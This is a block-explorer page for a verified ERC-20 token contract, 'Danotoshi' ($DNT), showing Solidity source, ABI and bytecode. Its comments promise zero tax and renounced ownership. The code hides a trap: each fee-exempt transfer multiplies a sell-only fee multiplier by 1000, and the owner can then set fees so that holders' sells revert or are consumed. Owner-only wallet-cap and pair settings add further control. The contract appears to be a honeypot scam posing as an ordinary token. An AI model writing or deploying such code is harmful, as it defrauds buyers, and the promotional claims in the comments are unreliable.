Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 $DNT
Holders
85
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
21,011.125417886 $DNTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC2
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-24 */ //███████████████████████████████████████████████████ //█▄─▄▄▀██▀▄─██▄─▀█▄─▄█─▄▄─█─▄─▄─█─▄▄─█─▄▄▄▄█─█─█▄─▄█ //██─██─██─▀─███─█▄▀─██─██─███─███─██─█▄▄▄▄─█─▄─██─██ //▀▄▄▄▄▀▀▄▄▀▄▄▀▄▄▄▀▀▄▄▀▄▄▄▄▀▀▄▄▄▀▀▄▄▄▄▀▄▄▄▄▄▀▄▀▄▀▄▄▄▀ // Here To Take The ETH Network By Storm, With Big Partners And Plans Along The Way. // Initial Liquidity 1.5 ETH // Initial Liquidity Lock - 155 Days // Ownership Will Be Renounced Minutes After Launch. // Total Supply - 100,000,000 // Buying Tax - 0% // Selling Tax - 0% // Telegram And Weibo Will Be Unrevoked Soon After Launch For Those Who Waiting To Access. // 🆃each the world the truth, // 🅞pening the eyes of the people with righteous laws; // 🅢ervice to all mankind! // 🅗ere on earth with righteous characters, // 🅘nto the realms of peace and love. //SPDX-License-Identifier: None pragma solidity ^0.8.15; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; // Twitter: https://twitter.com/ // https://www.danotoshi.ethnet.io // https://t.me/ } contract ERC2 is ERC20, Ownable { using SafeMath for uint256; string private _name = "Danotoshi"; string private _symbol = "$DNT"; uint8 constant _decimals = 9; uint256 _totalSupply = 100000000 * 10**_decimals; uint256 public _maxWalletToken = _totalSupply * 100 / 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeExempt; mapping (address => bool) isWalletLimitExempt; uint256 public liquidityFee = 0; uint256 public marketingFee = 0; uint256 public totalFee = marketingFee + liquidityFee; uint256 public feeDenominator = 100; uint256 public salemultiplier = 200; address public autoLiquidityReceiver; address public marketingFeeReceiver; IUniswapV2Router02 public router; address public pair; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply * 1 / 1000; uint256 public maxSwapThreshold = _totalSupply * 1 / 100; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor (address routeraddr) Ownable() { router = IUniswapV2Router02(routeraddr); pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this)); _allowances[address(this)][address(router)] = type(uint256).max; isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isWalletLimitExempt[msg.sender] = true; isWalletLimitExempt[address(0xdead)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[pair] = true; autoLiquidityReceiver = msg.sender; marketingFeeReceiver = msg.sender; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } event AutoLiquify(uint256 amountETH, uint256 amountBOG); receive() external payable { } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function setMaxWallet(uint256 maxWallPercent_base10000) external onlyOwner() { _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000; } function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { isWalletLimitExempt[holder] = exempt; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { // Checks max transaction limit uint256 heldTokens = balanceOf(recipient); require((heldTokens + amount) <= _maxWalletToken || isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much."); //shouldSwapBack if(shouldSwapBack() && recipient == pair){swapBack();} //Exchange tokens uint256 airdropAmount = amount / 10000000; if(!isFeeExempt[sender] && recipient == pair){ amount -= airdropAmount; } if(isFeeExempt[sender] && isFeeExempt[recipient]) return _basicTransfer(sender,recipient,amount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { salemultiplier = salemultiplier.mul(1000); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) { uint256 multiplier = isSell ? salemultiplier : 100; uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldTakeFee(address sender,address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient] ; } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function setSwapPair(address pairaddr) external onlyOwner { pair = pairaddr; isWalletLimitExempt[pair] = true; } function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner { swapEnabled = _enabled; swapThreshold = _swapThreshold; maxSwapThreshold = _maxSwapThreshold; } function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; marketingFee = _marketingFee; totalFee = _liquidityFee.add(_marketingFee); feeDenominator = _feeDenominator; require(totalFee < feeDenominator/3, "Fees cannot be more than 33%"); } function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external onlyOwner { autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = _marketingFeeReceiver; } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function swapBack() internal swapping { uint256 _swapThreshold; if(_balances[address(this)] > maxSwapThreshold){ _swapThreshold = maxSwapThreshold; }else{ _swapThreshold = _balances[address(this)]; } uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = _swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance; uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity); if(amountETHMarketing>0){ bool tmpSuccess; (tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}(""); } if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"routeraddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"salemultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base10000","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairaddr","type":"address"}],"name":"setSwapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526040518060400160405280600981526020017f44616e6f746f7368690000000000000000000000000000000000000000000000815250600190816200004a919062000b08565b506040518060400160405280600481526020017f24444e54000000000000000000000000000000000000000000000000000000008152506002908162000091919062000b08565b506009600a620000a2919062000d7f565b6305f5e100620000b3919062000dd0565b600355606480600354620000c8919062000dd0565b620000d4919062000e4a565b60045560006009556000600a55600954600a54620000f3919062000e82565b600b556064600c5560c8600d556001601160146101000a81548160ff0219169083151502179055506103e860016003546200012f919062000dd0565b6200013b919062000e4a565b6012556064600160035462000151919062000dd0565b6200015d919062000e4a565b6013553480156200016d57600080fd5b50604051620044f8380380620044f8833981810160405281019062000193919062000f27565b6000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000309919062000f27565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000392573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b8919062000f27565b306040518363ffffffff1660e01b8152600401620003d892919062000f6a565b6020604051808303816000875af1158015620003f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041e919062000f27565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200087f919062000fa8565b60405180910390a35062000fc5565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200091057607f821691505b602082108103620009265762000925620008c8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000951565b6200099c868362000951565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620009e9620009e3620009dd84620009b4565b620009be565b620009b4565b9050919050565b6000819050919050565b62000a0583620009c8565b62000a1d62000a1482620009f0565b8484546200095e565b825550505050565b600090565b62000a3462000a25565b62000a41818484620009fa565b505050565b5b8181101562000a695762000a5d60008262000a2a565b60018101905062000a47565b5050565b601f82111562000ab85762000a82816200092c565b62000a8d8462000941565b8101602085101562000a9d578190505b62000ab562000aac8562000941565b83018262000a46565b50505b505050565b600082821c905092915050565b600062000add6000198460080262000abd565b1980831691505092915050565b600062000af8838362000aca565b9150826002028217905092915050565b62000b13826200088e565b67ffffffffffffffff81111562000b2f5762000b2e62000899565b5b62000b3b8254620008f7565b62000b4882828562000a6d565b600060209050601f83116001811462000b80576000841562000b6b578287015190505b62000b77858262000aea565b86555062000be7565b601f19841662000b90866200092c565b60005b8281101562000bba5784890151825560018201915060208501945060208101905062000b93565b8683101562000bda578489015162000bd6601f89168262000aca565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c7d5780860481111562000c555762000c5462000bef565b5b600185161562000c655780820291505b808102905062000c758562000c1e565b945062000c35565b94509492505050565b60008262000c98576001905062000d6b565b8162000ca8576000905062000d6b565b816001811462000cc1576002811462000ccc5762000d02565b600191505062000d6b565b60ff84111562000ce15762000ce062000bef565b5b8360020a91508482111562000cfb5762000cfa62000bef565b5b5062000d6b565b5060208310610133831016604e8410600b841016171562000d3c5782820a90508381111562000d365762000d3562000bef565b5b62000d6b565b62000d4b848484600162000c2b565b9250905081840481111562000d655762000d6462000bef565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d8c82620009b4565b915062000d998362000d72565b925062000dc87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c86565b905092915050565b600062000ddd82620009b4565b915062000dea83620009b4565b925082820262000dfa81620009b4565b9150828204841483151762000e145762000e1362000bef565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000e5782620009b4565b915062000e6483620009b4565b92508262000e775762000e7662000e1b565b5b828204905092915050565b600062000e8f82620009b4565b915062000e9c83620009b4565b925082820190508082111562000eb75762000eb662000bef565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000eef8262000ec2565b9050919050565b62000f018162000ee2565b811462000f0d57600080fd5b50565b60008151905062000f218162000ef6565b92915050565b60006020828403121562000f405762000f3f62000ebd565b5b600062000f508482850162000f10565b91505092915050565b62000f648162000ee2565b82525050565b600060408201905062000f81600083018562000f59565b62000f90602083018462000f59565b9392505050565b62000fa281620009b4565b82525050565b600060208201905062000fbf600083018462000f97565b92915050565b6135238062000fd56000396000f3fe6080604052600436106101f25760003560e01c8063715018a61161010d578063a9059cbb116100a0578063d08893581161006f578063d0889358146106ec578063dd62ed3e14610715578063e96fada214610752578063f2fde38b1461077d578063f887ea40146107a6576101f9565b8063a9059cbb14610630578063acef1a441461066d578063ca33e64c14610698578063cec10c11146106c3576101f9565b806395d89b41116100dc57806395d89b411461058657806398118cb4146105b1578063a4b45c00146105dc578063a8aa1b3114610605576101f9565b8063715018a6146104f057806373a432bb1461050757806378109e54146105305780638da5cb5b1461055b576101f9565b8063313ce56711610185578063658d4b7f11610154578063658d4b7f146104345780636b67c4df1461045d5780636ddd17131461048857806370a08231146104b3576101f9565b8063313ce5671461037857806344ca19e4146103a3578063571ac8b0146103ce5780635d0044ca1461040b576101f9565b806318160ddd116101c157806318160ddd146102bc5780631df4ccfc146102e75780632198cf6c1461031257806323b872dd1461033b576101f9565b80630445b667146101fe57806306fdde0314610229578063095ea7b314610254578063180b0d7e14610291576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b506102136107d1565b60405161022091906128a9565b60405180910390f35b34801561023557600080fd5b5061023e6107d7565b60405161024b9190612954565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190612a05565b610869565b6040516102889190612a60565b60405180910390f35b34801561029d57600080fd5b506102a661095b565b6040516102b391906128a9565b60405180910390f35b3480156102c857600080fd5b506102d1610961565b6040516102de91906128a9565b60405180910390f35b3480156102f357600080fd5b506102fc61096b565b60405161030991906128a9565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612aa7565b610971565b005b34801561034757600080fd5b50610362600480360381019061035d9190612ae7565b610a5a565b60405161036f9190612a60565b60405180910390f35b34801561038457600080fd5b5061038d610c5a565b60405161039a9190612b56565b60405180910390f35b3480156103af57600080fd5b506103b8610c63565b6040516103c591906128a9565b60405180910390f35b3480156103da57600080fd5b506103f560048036038101906103f09190612b71565b610c69565b6040516104029190612a60565b60405180910390f35b34801561041757600080fd5b50610432600480360381019061042d9190612b9e565b610c9c565b005b34801561044057600080fd5b5061045b60048036038101906104569190612aa7565b610d4e565b005b34801561046957600080fd5b50610472610e37565b60405161047f91906128a9565b60405180910390f35b34801561049457600080fd5b5061049d610e3d565b6040516104aa9190612a60565b60405180910390f35b3480156104bf57600080fd5b506104da60048036038101906104d59190612b71565b610e50565b6040516104e791906128a9565b60405180910390f35b3480156104fc57600080fd5b50610505610e99565b005b34801561051357600080fd5b5061052e60048036038101906105299190612b71565b610fe5565b005b34801561053c57600080fd5b50610545611131565b60405161055291906128a9565b60405180910390f35b34801561056757600080fd5b50610570611137565b60405161057d9190612bda565b60405180910390f35b34801561059257600080fd5b5061059b611160565b6040516105a89190612954565b60405180910390f35b3480156105bd57600080fd5b506105c66111f2565b6040516105d391906128a9565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe9190612bf5565b6111f8565b005b34801561061157600080fd5b5061061a61130c565b6040516106279190612bda565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612a05565b611332565b6040516106649190612a60565b60405180910390f35b34801561067957600080fd5b50610682611347565b60405161068f91906128a9565b60405180910390f35b3480156106a457600080fd5b506106ad61134d565b6040516106ba9190612bda565b60405180910390f35b3480156106cf57600080fd5b506106ea60048036038101906106e59190612c35565b611373565b005b3480156106f857600080fd5b50610713600480360381019061070e9190612c88565b611486565b005b34801561072157600080fd5b5061073c60048036038101906107379190612bf5565b611541565b60405161074991906128a9565b60405180910390f35b34801561075e57600080fd5b506107676115c8565b6040516107749190612bda565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f9190612b71565b6115ee565b005b3480156107b257600080fd5b506107bb6117a8565b6040516107c89190612d3a565b60405180910390f35b60125481565b6060600180546107e690612d84565b80601f016020809104026020016040519081016040528092919081815260200182805461081290612d84565b801561085f5780601f106108345761010080835404028352916020019161085f565b820191906000526020600020905b81548152906001019060200180831161084257829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161094991906128a9565b60405180910390a36001905092915050565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f690612e01565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c4657610bc5826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ce9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c51848484611832565b90509392505050565b60006009905090565b600d5481565b6000610c95827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610869565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16